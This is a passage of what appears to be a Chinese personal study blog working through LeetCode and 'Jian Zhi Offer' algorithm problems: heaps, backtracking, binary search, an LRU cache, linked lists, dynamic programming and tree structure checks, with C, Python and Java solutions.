dp[i] += dp[j]*dp[i-1-j]
return dp[n]

数组中的第K个最大元素

堆排序

建堆

1
int array[10] = {3,4,5,2,1,3,4,2,2,1,};

构建大顶堆,首先依据顺序排列成二叉完全树

image-20220920165048440

然后从idx最大的非叶子结点的子树开始,这里就是idx=4,计算方法为一个循环来大概判断

1
int i = heapSize/2

然后获取取左右子树的根结点,二叉树基本原理

1
2
int leftIdx = i * 2 + 1;
int rightIdx = i * 2 + 2;

之后进行判断排序,获取最大的进行交换调整,将大的上移,然后将下移的结点作为一个二叉树根节点继续调整,依次循环

1
2
3
4
5
6
7
8
9
10
11
12
13
int maxIdx = rootIdx;
if( leftIdx < heapSize && array[leftIdx] > array[maxIdx]){
maxIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] > array[maxIdx]){
maxIdx = rightIdx;
}
if( maxIdx != rootIdx){
int tmp = array[rootIdx];
array[rootIdx] = array[maxIdx];
array[maxIdx] = tmp;
maxJustHeap(array,maxIdx,heapSize);
}

完整代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void maxJustHeap(int* array,int rootIdx,int heapSize){
int leftIdx = rootIdx * 2 + 1;
int rightIdx = rootIdx * 2 + 2;
int maxIdx = rootIdx;
if( leftIdx < heapSize && array[leftIdx] > array[maxIdx]){
maxIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] > array[maxIdx]){
maxIdx = rightIdx;
}
if( maxIdx != rootIdx){
int tmp = array[rootIdx];
array[rootIdx] = array[maxIdx];
array[maxIdx] = tmp;
maxJustHeap(array,maxIdx,heapSize);
}
}


void buildMaxHeap(int* array,int heapSize){
for(int i = heapSize/2 ; i >= 0; i--){
maxJustHeap(array,i,heapSize);
}
}
int main() {
int array[10] = {3,4,5,2,1,3,4,2,2,1,};
buildMaxHeap(array,10);
return 0;
}

完整过程为

image-20220920165930745

image-20220920165959673

image-20220920170022172

image-20220920170058770

image-20220920170115745

image-20220920170141740

即可完成最终调整

image-20220920170311277

删除

之后删除掉K-1个堆顶元素剩下的堆,即可得到第K个大小的元素。但是堆的删除操作也有点复杂,参照(46条消息) 【数据结构】【堆】堆的建立、插入和删除_西西敏的博客-CSDN博客_堆的建立

为了将这个节点删除后的空位填补上,首先要将本堆中最后一个元素的值(假设为value)移动到此位置,然后在被删位置处,用此位置当前的值value和此处的父节点、子节点去比较,如果它与父节点的关系破坏了最大(小)堆,则递归调用shiftUp()来修复;如果它与子节点的关系破坏了最大(小)堆,则递归调用shiftDown()来修复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void maxJustHeap(int* array,int rootIdx,int heapSize){
int leftIdx = rootIdx * 2 + 1;
int rightIdx = rootIdx * 2 + 2;
int maxIdx = rootIdx;
if( leftIdx < heapSize && array[leftIdx] > array[maxIdx]){
maxIdx = leftIdx;
}
if( rightIdx < heapSize && array[rightIdx] > array[maxIdx]){
maxIdx = rightIdx;
}
if( maxIdx != rootIdx){
int tmp = array[rootIdx];
array[rootIdx] = array[maxIdx];
array[maxIdx] = tmp;
maxJustHeap(array,maxIdx,heapSize);
}
}


void buildMaxHeap(int* array,int heapSize){
for(int i = heapSize/2 ; i >= 0; i--){
maxJustHeap(array,i,heapSize);
}
}


int findKthLargest(int* nums, int numsSize, int k){
buildMaxHeap(nums,numsSize);
int heapSize = numsSize;
for(int i = 0 ; i < k - 1 ; i ++){
//int tmp = nums[heapSize-1];
nums[0] = nums[heapSize-1];
heapSize -= 1;
maxJustHeap(nums,0,heapSize);
}
return nums[0];
}

全排列

image-20220921160228336

使用回溯算法解决

参考:回溯算法入门级详解 + 练习(持续更新) - 全排列 - 力扣(LeetCode)

参考图解为

image-20220921160419171

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution:
def permute(self, nums: List[int]) -> List[List[int]]:
res = []
def back(nums,tmp):
if(not nums):
res.append(tmp)
return
for i in range(len(nums)):
tmpNums = nums[:i] + nums[i+1:]
tmpTmp = tmp + [nums[i]]
back(tmpNums,tmpTmp)
back(nums,[])
return res

即每次进入回溯时,进入下一轮的可遍历的数组都是上一轮的数组减去当前要进入tmp剩下的数组,在C上可以使用一个int数组vis来代替是否被遍历到了。

寻找两个有序数组的中位数

image-20220921192837199

归并排序查找

直接归并然后返回中位数的时间复杂度为O(m+n)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Solution:
def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:
result = []
i = 0
j = 0
nums1Len = len(nums1)
nums2Len = len(nums2)
while (True):
if(nums1Len == 0):
result += nums2
break
if(nums2Len == 0):
result += nums1
break
if (nums1[i] < nums2[j]):
result.append(nums1[i])
i += 1
if(i == nums1Len):
result += nums2[j:]
break
else:
result.append(nums2[j])
j += 1
if(j == nums2Len):
result += nums1[i:]
break
resultLen = len(result)
if(resultLen%2 == 0):
return (result[int(resultLen/2)-1] + result[int(resultLen/2)])/2
else:
return result[int(resultLen/2)]

二分查找

即寻找两个有序数组排序之后的第k个数,假定如下

1
2
k = (len(a) + len(b))/2			len(a) + len(b)为奇数   	k为中位数索引
k = (len(a) + len(b))/2 + 1 len(a) + len(b)为偶数 k为中位数索引+0.5

然后尝试比较a[k/2-1]b[k/2-1]

  • a[k/2-1] > b[k/2-1]时,比b[k/2-1]小或等于的最多只有(k/2-1)*2=k-2个数,那么该数b[k/2-1]必定不可能是中位数,那么排除b[0:k/2-1]

  • a[k/2-1] < b[k/2-1]时,同理,排除a[0:k/2-1]

  • a[k/2-1] = b[k/2-1]时,也同理,排除a[0:k/2-1]b[0:k-2/1]

在排序数组中查找元素的第一个和最后一个位置

image-20221002103928281

二分查找

时间复杂度为O(logn),那么就用二分查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from typing import List


class Solution:
def search(self,nums,left,right,target):
if(left > right):
return None
mid = (left + right)//2
if(nums[mid] < target):
left = mid + 1
idx = self.search(nums,left,right,target)
elif(nums[mid] > target):
right = mid - 1
idx = self.search(nums,left,right,target)
elif(nums[mid] == target):
return mid
return idx

def searchRange(self, nums: List[int], target: int) -> List[int]:
res = []
idx = self.search(nums,0,len(nums)-1,target)
if(idx == None):
res = [-1,-1]
else:
left = idx - 1
right = idx + 1
while(left >= 0 and nums[left] == target):
left -= 1
while(right < len(nums) and nums[right] == target):
right += 1
res = [left+1,right-1]
return res

LRU缓存Least Recently Used)

image-20221002153031254

  • 使用哈希表HashMap来完成key的唯一性

  • 使用双向链表来完成putget的时间复杂度要求,以及头部为最近使用的,尾部为最不常使用的

  • 要记得删除节点和更新节点的时候,都要更新hash表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
class LRUCache {
class DLinkedNode{
private int key;
private int value;
private DLinkedNode next;
private DLinkedNode prev;


public DLinkedNode(){}
public DLinkedNode(int _key, int _value){
this.key = _key;
this.value = _value;
}


}

private int size;
private int capacity;
private Map<Integer,DLinkedNode> cache;
private DLinkedNode head;
private DLinkedNode tail;

public LRUCache(int capacity){
this.size = 0;
this.capacity = capacity;
this.head = new DLinkedNode();
this.tail = new DLinkedNode();
this.head.next = this.tail;
this.tail.prev = this.head;
this.cache = new HashMap<Integer,DLinkedNode>();
}

public void put(int key,int value){
DLinkedNode node = this.cache.get(key);
//如果不存在key,则直接放入头部
if(node == null){
DLinkedNode newNode = new DLinkedNode(key,value);
addToHead(newNode);
this.cache.put(key,newNode);
size ++;
//超出容量,删除末尾的节点,更新hash表
if(size > capacity){
DLinkedNode needRmNode = this.tail.prev;
removeNode(needRmNode);
this.cache.remove(needRmNode.key);
size --;
}
}else{
//存在key的话,就修改value,更新hash表,并且放入头部
node.value = value;
//this.cache.put(key,node);
moveToHead(node);
}

}

public int get(int key){
DLinkedNode node = this.cache.get(key);
//不存在该结点
if(node == null){
return -1;
}else {
//需要放入移动到头部
moveToHead(node);
return node.value;
}
}

public void addToHead(DLinkedNode node){
node.next = this.head.next;
node.prev = this.head;
this.head.next.prev = node;
this.head.next = node;
}

public void removeNode(DLinkedNode node){
node.prev.next = node.next;
node.next.prev = node.prev;
}

public void moveToHead(DLinkedNode node){
removeNode(node);
addToHead(node);
}
}

有效括号

利用栈匹配即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Solution:
def isValid(self, s: str) -> bool:
dict = {
"(":")",
"[":"]",
"{":"}"
}
stack = []
for chr in s:
if(chr in dict):
stack.append(chr)
else:
if(len(stack) > 0):
top = stack.pop()
if(dict[top] == chr):
continue
else:
return False
else:
return False
if(len(stack) == 0):
return True
else:
return False

买卖股票的最佳时机

image-20221005144848588

一次遍历,找出当前阶段价格最小的一天然后进行计算利益替换最大利益

1
2
3
4
5
6
7
8
9
10
class Solution:
def maxProfit(self, prices: List[int]) -> int:
maxProfit = 0
minDay = 0
for i in range(0,len(prices)):
if(prices[i] < prices[minDay]):
minDay = i
elif(prices[i] - prices[minDay] > maxProfit):
maxProfit = prices[i] - prices[minDay]
return maxProfit

三数之和

快排加双指针

定位一个位置,然后一步步逼近

参考:三数之和(排序+双指针,易懂图解) - 三数之和 - 力扣(LeetCode)

image-20221006151523738

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class Solution:
def threeSum(self, nums: [int]) -> [[int]]:
self.quickStart(nums)
res = []
for k in range(0,len(nums)-2):
if(nums[k] > 0):
break
if(k > 0 and nums[k-1]==nums[k]):
continue
j = len(nums) - 1
i = k + 1
while(i < j):
s = nums[k] + nums[i] + nums[j]
if(s < 0):
i += 1
while(i < j and nums[i] == nums[i-1]):
i += 1
elif(s > 0):
j -= 1
while(i < j and nums[j] == nums[j+1]):
j -= 1
else:
res.append([nums[k],nums[i],nums[j]])
i += 1
j -= 1
while i < j and nums[i] == nums[i - 1]: i += 1
while i < j and nums[j] == nums[j + 1]: j -= 1
return res

def partition(self,nums,low,high):
pivot_idx = random.randint(low,high)
pivot = nums[pivot_idx]
nums[low],nums[pivot_idx] = nums[pivot_idx],nums[low]
left = low
right = high
while(left < right):
while(left < right and pivot <= nums[right]):
right -= 1
nums[left] = nums[right]
while(left < right and pivot >= nums[left]):
left += 1
nums[right] = nums[left]
nums[left] = pivot
return left

def quickSort(self,nums,low,high):
if(low >= high):
return
mid = self.partition(nums,low,high)
self.quickSort(nums,low,mid - 1)
self.quickSort(nums,mid + 1 , high)

def quickStart(self,nums):
self.quickSort(nums,0,len(nums)-1)

不规则正方体表面积

image-20221007145633433

计算所有表面积减去重叠表面积

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Solution:
def surfaceArea(self, grid: List[List[int]]) -> int:
full = 0
overlap = 0
myLen = len(grid[0])
for i in range(0,myLen):
for j in range(0,myLen):
leftOver, topOver, rightOver, downOver = 0, 0, 0, 0
full += 1 * grid[i][j] * 4 + 1*2*(1 if grid[i][j] > 0 else 0)
if(i - 1 >= 0):
topOver = min(grid[i][j],grid[i-1][j])*1
if(j - 1 >= 0):
leftOver = min(grid[i][j],grid[i][j-1])*1
if(i + 1 < myLen):
downOver = min(grid[i][j],grid[i+1][j])*1
if(j + 1 < myLen):
rightOver = min(grid[i][j],grid[i][j+1])*1
tmplap = leftOver + topOver + rightOver + downOver
overlap += tmplap
return full - overlap

矩阵中的最长递增路径

image-20221007201543937

深度优先搜索加缓存,保证不重复遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class Solution {
private int[][] direction = {{-1,0},{1,0},{0,-1},{0,1}};
private int rowLens;
private int columnLens;
public int longestIncreasingPath(int[][] matrix) {
int result = 0;
this.rowLens = matrix.length;
this.columnLens = matrix[0].length;
int[][] mem = new int[rowLens][columnLens];
for(int row = 0 ; row < rowLens ; row++){
for(int column = 0 ; column < columnLens ; column++){
result = Math.max(result,dfs(matrix,mem,row,column));
}
}


return result;
}
public int dfs(int[][] matrix,int[][] mem,int row,int column){
if(mem[row][column] > 0){
return mem[row][column];
}
mem[row][column] += 1;
for(int i = 0 ; i < this.direction.length ; i ++){
int newRow = row + this.direction[i][0];
int newColumn = column + this.direction[i][1];
if(0 <= newColumn && newColumn < this.columnLens && 0 <= newRow && newRow < this.rowLens && matrix[newRow][newColumn] > matrix[row][column]){
mem[row][column] = Math.max(mem[row][column],dfs(matrix,mem,newRow,newColumn) + 1);
}
}
return mem[row][column];
}
}

字符串解码

image-20221010141129667

利用栈即可实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Solution:
def decodeString(self, s: str) -> str:
res = ""
stack = []
pushList = "0123456789[abcdefghijklmnopqrstuvwxyz"
for i in s:
tmp = ""
if(i in pushList):
stack.append(i)
else:
top = stack.pop()
while(top != "["):
tmp = top + tmp
top = stack.pop()
top = stack.pop() #pop [
#get num
num = ""
while(top != "" and ('0' <= top <= '9')):
num = top + num
if(len(stack) > 0):
top = stack.pop()
else:
break
tmp = int(num) * tmp
if(top != "" and (top < '0' or top > '9')):
stack.append(top)
stack = stack + list(tmp)
return res + "".join(stack)

整数反转

image-20221010144212174

使用模加除即可解决,主要考虑溢出情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Solution {
public int reverse(int x) {
if (x == Integer.MIN_VALUE) return 0;
int calcuTmp = 0;
int signed = 0;
if (x < 0) {
signed = -1;
} else if (x == 0) {
return x;
} else {
signed = 1;
}
int tmp = signed * x;
while (tmp != 0) {
if(calcuTmp > Integer.MAX_VALUE/10){
return 0;
}
calcuTmp *= 10;
calcuTmp += (tmp % 10);
tmp = (tmp - (tmp % 10)) / 10;
}
return signed * calcuTmp;
}
}

电话号码的字母组合

image-20221010180907032

全排列问题基本都用回溯法解决,基本公式就是

1
2
3
4
5
6
7
8
def back(idx):
if(limitCondition):
return
for i in inputList:
operate()#一般都是push之类的
back(idx+1)
operate()#一般都是pop之类的
back(0)

如下解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Solution:
def letterCombinations(self, digits: str) -> List[str]:

phoneMap = {
"2": "abc",
"3": "def",
"4": "ghi",
"5": "jkl",
"6": "mno",
"7": "pqrs",
"8": "tuv",
"9": "wxyz",
}
com = []
coms = []
def backTrace(idx):
if(idx == len(digits)):
return
digit = digits[idx]
for letter in phoneMap[digit]:
com.append(letter)
backTrace(idx + 1)
if(len(com) == len(digits)):
coms.append("".join(com))
com.pop()
backTrace(0)
return coms

删除链表的倒数第n个结点

image-20221011104404437

使用快慢指针

  • 定义伪头部节点,指向头部节点

  • 快指针同时指向伪头部节点

  • 快指针先遍历n次,慢指针不动

  • 快指针接着遍历,同时慢指针也开始遍历,快指针遍历到尾部,即fastPoint.next=null时结束,此时慢指针就遍历到len(list) - n个节点,即倒数第n个节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public ListNode removeNthFromEnd(ListNode head, int n) {
ListNode beHead = new ListNode();
beHead.next = head;
ListNode fastPoint = beHead;
ListNode slowPoint = beHead;
while(n > 0){
fastPoint = fastPoint.next;
n--;
}
while(fastPoint.next != null){
slowPoint = slowPoint.next;
fastPoint = fastPoint.next;
}
slowPoint.next = slowPoint.next.next;
return beHead.next;

}
}

当然先一次遍历获取链表长度也可以。

或者使用栈来进行辅助,遍历一遍全部压入,然后弹出N个结点即可。

合并两个有序链表

image-20221011133912036

直接归并即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution {
public ListNode mergeTwoLists(ListNode list1, ListNode list2) {
ListNode newList = new ListNode();
ListNode originList = newList;
while(list1 != null && list2 != null){
while(list1 != null && list2 != null && list1.val <= list2.val){
newList.next = list1;
newList = newList.next;
list1 = list1.next;
}
while(list1 != null && list2 != null && list2.val <= list1.val ){
newList.next = list2;
newList = newList.next;
list2 = list2.next;
}
}
if(list1 == null){
newList.next = list2;
}else{
newList.next = list1;
//newList.next.next = list1;
}
return originList.next;
}
}

合并K个升序链表

image-20221011145532993

即归并分治

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Solution {
public ListNode mergeTwoLists(ListNode list1, ListNode list2) {
ListNode newList = new ListNode();
ListNode originList = newList;
while(list1 != null && list2 != null){
while(list1 != null && list2 != null && list1.val <= list2.val){
newList.next = list1;
newList = newList.next;
list1 = list1.next;
}
while(list1 != null && list2 != null && list2.val <= list1.val ){
newList.next = list2;
newList = newList.next;
list2 = list2.next;
}
}
if(list1 == null){
newList.next = list2;
}else{
newList.next = list1;
//newList.next.next = list1;
}
return originList.next;
}
public ListNode merge(ListNode[] lists, int left, int right) {
if (left == right) {
return lists[left];
}
if (left > right) {
return null;
}
int mid = (left + right) / 2;
return mergeTwoLists(merge(lists, left, mid), merge(lists, mid + 1, right));
}

public ListNode mergeKLists(ListNode[] lists) {
return merge(lists, 0, lists.length-1);
}
}

需要注意的是使用left == right来确定每一个都遍历到。

找出字符串中第一个匹配项的下标

image-20221011164112082

爆破遍历即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Solution:
def strStr(self, haystack: str, needle: str) -> int:
i,j=0,0
res = len(haystack)
for cIdx in range(len(haystack)):
i = cIdx
j = 0
if(haystack[i] == needle[j]):
while(j < len(needle) and i < len(haystack) and haystack[i] == needle[j]):
i += 1
j += 1
if(j == len(needle)):
res = min(res,i - len(needle))
#i -= 1
else:
i += 1
if(res == len(haystack)):
return -1
else:
return res

剑指Offer

两个栈实现队列

image-20221014144203634

一个栈当输入,一个栈当输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class CQueue:
def __init__(self):
self.A = []
self.B = []

def appendTail(self, value: int) -> None:
self.A.append(value)

def deleteHead(self) -> int:
if(len(self.B) != 0):
return self.B.pop()
else:
while(len(self.A) != 0):
self.B.append(self.A.pop())
if(len(self.B) == 0):
return -1
else:
return self.B.pop()

数组中重复的数字

image-20221014144507145

使用hash表即可

1
2
3
4
5
6
7
8
9
class Solution:
def findRepeatNumber(self, nums: List[int]) -> int:
hashset = set()
for i in nums:
if(i in hashset):
return i
else:
hashset.add(i)
return -1

反转链表

image-20221014152712281

先是自己写的,从尾部开始改变,时间耗费较多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution:
def reverseList(self, head: ListNode) -> ListNode:
if(head == None or head.next == None):
return head
originHead = head
n = 0
flag = 0
while(originHead.next != None):
head = originHead
while(head.next != None):
tmp = head
next = head.next
head = next
flag += 1
if(flag == 1):
newHead = head
tmp.next = None
head.next = tmp
return newHead

后面看题解,可以用多指针来代替,暂存前中后三个节点

剑指 Offer 24. 反转链表(迭代 / 递归,清晰图解) - 反转链表 - 力扣(LeetCode)

1
2
3
4
5
6
7
8
9
10
class Solution:
def reverseList(self, head: ListNode) -> ListNode:
pre = None
cur = head
while(cur != None):
tmp = cur.next
cur.next = pre
pre = cur
cur = tmp
return pre

同样的循环可以转化为递归

连续子数组的最大和

最优子数组的一般都能动态规划

image-20221015102433428

动态规划

设dp[i]为以i为结尾的连续子数组和的最大值,即可得到状态转换方程

1
dp[i] = max(nums[i],dp[i-1] + nums[i])

依据状态转换方程得到代码

1
2
3
4
5
6
7
8
9
10
11
class Solution:
def maxSubArray(self, nums: List[int]) -> int:
dp = [0] * len(nums)
for i in range(len(nums)):
if(i == 0):
dp[i] = nums[0]
res = dp[i]
else:
dp[i] = max(nums[i],dp[i-1] + nums[i])
res = max(res,dp[i])
return res

链表中倒数第k个节点

image-20221015104808017

快慢指针

1
2
3
4
5
6
7
8
9
10
11
class Solution:
def getKthFromEnd(self, head: ListNode, k: int) -> ListNode:
originHead = head
n = 0
while(n != k):
n += 1
head = head.next
while(head != None):
originHead = originHead.next
head = head.next
return originHead

把数字翻译成字符串

image-20221015161943235

动态规划,详见面试题46. 把数字翻译成字符串(动态规划,清晰图解) - 把数字翻译成字符串 - 力扣(LeetCode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution:
def translateNum(self, num: int) -> int:
numStr = str(num)

dp = [0] * (len(numStr) + 1)
for i in range(0, len(numStr)):
if (i == 0):
dp[i] = 1
continue
if (10 <= int(numStr[i - 1]) * 10 + int(numStr[i]) <= 25):
if (i - 2 == -1):
dp[i] = 2
continue
dp[i] = dp[i - 2] + dp[i - 1]
else:
dp[i] = dp[i - 1]
return dp[len(numStr) - 1]

需要注意的是组合的数字范围为1025,而不是025,因为01、02……不能进行组合翻译,我说怎么一直错

字符串的排列

image-20221015113114460

回溯加去重

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Solution:
def permutation(self, s: str) -> List[str]:
res = []
def back(s, tmp):
#到末尾时添加
if (not s):
res.append("".join(tmp))
return
for i in range(len(s)):
#去掉当前的字符的数组,传入下一层的回溯函数
tmpNums = s[:i] + s[i + 1:]
#表示当前层的字符
tmpTmp = tmp + [s[i]]
#调用回溯
back(tmpNums, tmpTmp)
back(s, [])
hashSet = set()
for i in res:
hashSet.add(i)
return list(hashSet)

从尾到头打印链表

image-20221015162618579

1
2
3
4
5
6
7
8
9
10
class Solution:
def reversePrint(self, head: ListNode) -> List[int]:
stack = []
while(head != None):
stack.append(head.val)
head = head.next
res = []
while(len(stack) != 0):
res.append(stack.pop())
return res

斐波那契数列

image-20221016150131190递归会超时,所以转化为循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution:
F = []
def fib(self, n: int) -> int:
if(n == 0):
return 0
if(n == 1):
return 1
self.F = [0] * (n+1)
self.F[0] = 0
self.F[1] = 1
i = 2
while( i <= n):
self.F[i] = (self.F[i-2] + self.F[i-1])% 1000000007
i += 1
return self.F[n]

但是还有时间复杂度更低的矩阵快速幂

参考官方解,时间复杂度为O(logn)

斐波那契数列 - 斐波那契数列 - 力扣(LeetCode)

image-20221016154942500

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np
class Solution:
def fib(self, n: int) -> int:
def quickMi(num,power):
ans = 1
while (power > 0):
if(power & 1 > 0): #奇数则再乘以底数
ans = np.dot(ans, num) % 1000000007
num = np.dot(num,num)
power = power >> 1
return ans
matrix = np.array([[1, 1], [1,0]])
res = quickMi(matrix,n-1)
return res[0][0]

扑克牌中的顺子

image-20221016162013412

顺子长度不一定为5时

先确定0的个数count,排除0,然后hash去重,得到hashSet

先判断去重后hashSetcount的长度是否还是为原数组长度,如果改变则代表有相同的非0元素,则不可能为顺子,直接False

判断此时listNums中最大和最小的差值是否小于等于0的个数countlen(listNums),小于等于则为True,否则为False

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import random
from typing import List


class Solution:
def parition(self,nums,low,high):
pivot_idx = random.randint(low,high)
pivot = nums[pivot_idx]
left,right = low,high
nums[left],nums[pivot_idx] = nums[pivot_idx],nums[left]
while(left < right):
while(left < right and nums[right] > pivot):
right -= 1
nums[left] = nums[right]
while(left < right and nums[left] <= pivot):
left += 1
nums[right] = nums[left]
nums[left] = pivot
return left

def quickSort(self,nums,low,high):
if(low > high):
return
mid = self.parition(nums,low,high)
self.quickSort(nums,low,mid-1)
self.quickSort(nums,mid+1,high)

def sortArray(self,nums):
self.quickSort(nums,0,len(nums)-1)
return nums

def isStraight(self, nums: List[int]) -> bool:
hashSet = set()
count = 0
for i in nums:
if(i == 0):
count += 1
continue
hashSet.add(i)
if(len(hashSet) + count != len(nums)):
return False
listNums = list(hashSet)
listNums = self.sortArray(listNums)
if(listNums[len(listNums)-1] - listNums[0] <= count + len(listNums) - 1):
return True
else:
return False

二叉搜索树与双向链表

image-20221017161643904

结合中序遍历的特点,加入处理

1
2
3
4
5
6
7
void inorderTraversal(Node cur) {
if(cur == null)
return;
inorderTraversal(cur.left);
//.......处理指针
inorderTraversal(cur.right);
}

然后每次处理的时候,利用前驱节点pre与当前节点cur进行处理

1
2
3
4
5
if(pre != null){
pre.right = cur;
cur.left = pre;
pre = cur;
}

当前驱节点prenull时说明在遍历头节点,那么得到头节点,如下

1
2
3
4
else {
head = cur;
pre = cur;
}

记得最后在头节点和尾部节点也要加入双向指针

1
2
head.left = pre;
pre.right = head;

最终如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution {
Node pre, head;
public Node treeToDoublyList(Node root) {
if(root == null)
return null;
inorderTraversal(root);
head.left = pre;
pre.right = head;
return head;
}
void inorderTraversal(Node cur) {
if(cur == null)
return;
inorderTraversal(cur.left);
if(pre != null){
pre.right = cur;
cur.left = pre;
pre = cur;
}else {
head = cur;
pre = cur;
}
inorderTraversal(cur.right);
}
}

树的子结构

image-20221017231434539

先找到结点数值相同的结点

1
2
3
4
5
6
7
def findNode(self, rootA: TreeNode, rootB: TreeNode):
if(rootA == None or rootB == None):
return False
if(rootA.val != rootB.val):#先找到
return self.findNode(rootA.left, rootB) or self.findNode(rootA.right, rootB)
else:
#.....找到了就判断

判断

1
2
3
4
5
6
7
8
def judge(self,rootA: TreeNode,rootB: TreeNode):
if(rootB == None):#遍历到最后了代表一致
return True
if(rootA == None):#A遍历完还没有代表没有
return False
if(rootA.val == rootB.val and self.judge(rootA.left,rootB.left) and self.judge(rootA.right,rootB.right)):
return True
return False

最终结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Solution:
def judge(self,rootA: TreeNode,rootB: TreeNode):
if(rootB == None):
return True
if(rootA == None):
return False
if(rootA.val == rootB.val and self.judge(rootA.left,rootB.left) and self.judge(rootA.right,rootB.right)):
return True
return False


def findNode(self, rootA: TreeNode, rootB: TreeNode):
if(rootA == None or rootB == None):
return False
if(rootA.val != rootB.val):#先找到
return self.findNode(rootA.left, rootB) or self.findNode(rootA.right, rootB)
else:
return self.judge(rootA.left,rootB.left) and self.judge(rootA.right,rootB.right)

#注意开始的头节点
def isSubStructure(self, A: TreeNode, B: TreeNode) -> bool:
if(A == None or B == None):
return False
if(A.val == B.val):
if(self.judge(A,B) == False):
A.val = B.val + 1
else:
return True
return self.findNode(A, B)

圆圈中最后剩下的数字

image-20221018214142551

约瑟夫环问题,详情参考如下

换个角度举例解决约瑟夫环 - 圆圈中最后剩下的数字 - 力扣(LeetCode)

剑指 Offer 62. 圆圈中最后剩下的数字(数学 / 动态规划,清晰图解) - 圆圈中最后剩下的数字 - 力扣(LeetCode)

对于f(n,m)问题,固定m,对n做规律,得到状态转换方程

1
2
dp[n] = (dp[n-1] + m) % n
dp[1] = 0

由此可得代码

1
2
3
4
5
6
class Solution:
def lastRemaining(self, n: int, m: int) -> int:
dp = [0] * (n+1)
for i in range(2,n+1):
dp[i] = (dp[i-1] + m) % i
return dp[n]

青蛙跳台阶问题

即类似之前的合并问题,把数字翻译成字符串

image-20221018215836305

即推导一下,设每个台阶为1,每两个1台阶相邻可以选择合并为一个2台阶,那么假定如下台阶

1
11111 选择合并之后总数为dp(5)

此时如果加入一级台阶,有两种情况

  • 与前一个台阶合并:1111 2
  • 不合并:11111 1

dp(6) = dp(4) + dp(5),由此可得动态规划

1
2
3
4
dp(0) = 1
dp(1) = 1
dp(2) = dp(0) + dp(1) = 2
dp(n) = dp(n-1) + dp(n-2)

依据动态规划得到解

1
2
3
4
5
6
7
8
9
10
class Solution:
def numWays(self, n: int) -> int:
if(n == 0 or n == 1):
return 1
dp = [0] * (n+1)
dp[0] = 1
dp[1] = 1
for i in range(2,n+1):
dp[i] = dp[i-1] + dp[i-2]
return dp[n] % 1000000007

剪绳子

image-20221019112511996

可用动态规划,dp[n]为将长度为n的绳子拆分为至少两截之后的乘积。假定将绳子拆分为j和剩下的n-j,那么如下

  • n拆分成j和n-j的和,且n-j不再拆分成多个正整数,此时的乘积是dp[n] = j * (n-j)

  • n拆分成j和n-j的和,且n-j可以拆分成多个正整数,此时的乘积是dp[n] = j * dp[n-j]

综上可得如下结果

1
dp[n] = j * max(n-j,dp[n-j])

然后定义初始状态

1
2
3
dp[0] = 0
dp[1] = 0
dp[2] = 1

可得最终代码

1
2
3
4
5
6
7
8
9
10
11
12
class Solution:
def cuttingRope(self, n: int) -> int:
dp = [0] * (n+1)
dp[0] = 0
dp[1] = 0
dp[2] = 1
if(n == 0 or n == 1 or n == 2):
return dp[n]
for i in range(3,n+1):
for j in range(1,i):
dp[i] = max(dp[i],j*(i-j),j*dp[i-j])
return dp[n]

需要注意的是,遍历j的过程中,由于dp[i]会被重复计算,所以需要把dp[i]也加入进行判断,防止最大值被覆盖。

包含min函数的栈

image-20221019151036307

定义辅助栈,存放非严格递减元素,参考

面试题30. 包含 min 函数的栈(辅助栈,清晰图解) - 包含min函数的栈 - 力扣(LeetCode)

img

然后在poppush函数中进行一下判断即可

1
2
3
4
5
6
7
8
9
10
